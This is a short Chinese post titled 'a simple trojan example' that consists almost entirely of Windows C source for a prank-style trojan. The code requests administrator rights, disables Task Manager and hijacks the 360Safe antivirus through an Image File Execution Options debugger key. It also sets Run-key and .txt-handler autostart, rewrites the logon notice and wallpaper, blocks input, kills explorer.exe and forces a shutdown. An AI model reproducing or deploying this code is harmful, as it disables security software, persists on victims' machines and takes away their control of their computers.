一个简单木马例子
#include <windows.h>
 #include <winable.h>
 #include <stdio.h>
 #include <tchar.h>
 void virus(){
     DWORD dwWallPaperStyle=2;
     int iRet;
     HKEY hkey;
     //执行文件所在路径
     TCHAR szPath[MAX_PATH]={0};
     GetModuleFileName(NULL,szPath,MAX_PATH);
            
        //执行文件所在文件夹的路径 
        TCHAR szFolderPath[MAX_PATH]={0};
        strcpy(szFolderPath,szPath);
     (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
         
     //要更换壁纸的保存路径 
     TCHAR szChangeWallPaper[MAX_PATH]={0};
     TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
     strcpy(szChangeWallPaper,szFolderPath);
     strcat(szChangeWallPaper,szPictureName);
        
        //修改开机欢迎词
     TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
     TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
     RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
     RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
     RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
     RegCloseKey(hkey);
     
     //ImageHijack镜像劫持360
     TCHAR szHijk[300]={0};
     strcpy(szHijk,szPath);
     strcat(szHijk,TEXT(" 360Safe"));
     RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
     iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
     RegCloseKey(hkey);
     if(iRet==0){
         MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
     }else{
         MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
     }
     
     //黑屏
     BlockInput(TRUE);
     SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
     Sleep(2000);
     BlockInput(FALSE);
         
     //修改桌面背景
     SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
     
     RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
     RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
     RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
     RegCloseKey(hkey);
         
     //设置开机自启
     TCHAR szAutoRun[MAX_PATH]={0};
     strcpy(szAutoRun,szPath);
     strcat(szAutoRun,TEXT(" normal"));
     RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
     RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
     RegCloseKey(hkey);
         
     //设计txt文件自启
     RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
     RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
     RegCloseKey(hkey);
     
     Sleep(10000);
     WinExec("taskkill /im explorer.exe /f",SW_HIDE);
     Sleep(3000);
     WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
     
     //蓝屏 
 //  WinExec("taskkill /im wininit.exe /f",SW_HIDE);
 }
 VOID ManagerRun(LPCSTR exe,LPCSTR param){
  SHELLEXECUTEINFO ShExecInfo; 
  ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
  ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
  ShExecInfo.hwnd = NULL;  
  ShExecInfo.lpVerb = "runas";  
  ShExecInfo.lpFile = exe; 
  ShExecInfo.lpParameters = param;   
  ShExecInfo.lpDirectory = NULL;  
  ShExecInfo.nShow = SW_SHOW;  
  ShExecInfo.hInstApp = NULL;   
  BOOL ret = ShellExecuteEx(&ShExecInfo);  
  CloseHandle(ShExecInfo.hProcess);
 }
 int main(int argc,char *argv[]){
     //隐藏控制台窗口 
     HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
     if(hwnd){
         ShowWindow(hwnd,SW_HIDE);
     }
     
     if(argc == 1){
         //双击打开,只有一个参数 
        ShowWindow(GetConsoleWindow(),SW_HIDE);
        ManagerRun(argv[0],"admin");
        return 0;
     }else if(strcmp(argv[1],"admin")==0){
         //管理员打开
     
         //首先,禁用任务管理器
         DWORD dwDisable=1;
         HKEY hkey;
         int iRet;
         TCHAR ValueInfo[5];
         DWORD ValueSize=sizeof(ValueInfo);
         RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
         RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);
         if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){
             iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));
             RegCloseKey(hkey);
             if(iRet==0){
                 MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);
             }else{
                 MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);
             }
         }
         
         int iRet_isPig,iRet_isCheat;
         while (TRUE) {
             iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
             if (iRet_isPig == IDYES) {
                 MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
                 break;
             }else if(iRet_isPig==IDNO){
                 iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
                 if (iRet_isCheat == IDYES) {
                     MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
                     continue;
                 }else if (iRet_isCheat == IDNO) {
                     MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
                     virus();
                     break;
                 }
             }
         }
     }else if(strcmp(argv[1],"360Safe")==0){
         //360劫持嘲讽 
         //当用户打开360时,程序重定向到病毒程序
         
         TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};
         for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){
             MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);
         }             
     }else if(strcmp(argv[1],"normal")==0){
         //病毒自启重定向 
         MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
     }
     return 0;
 }









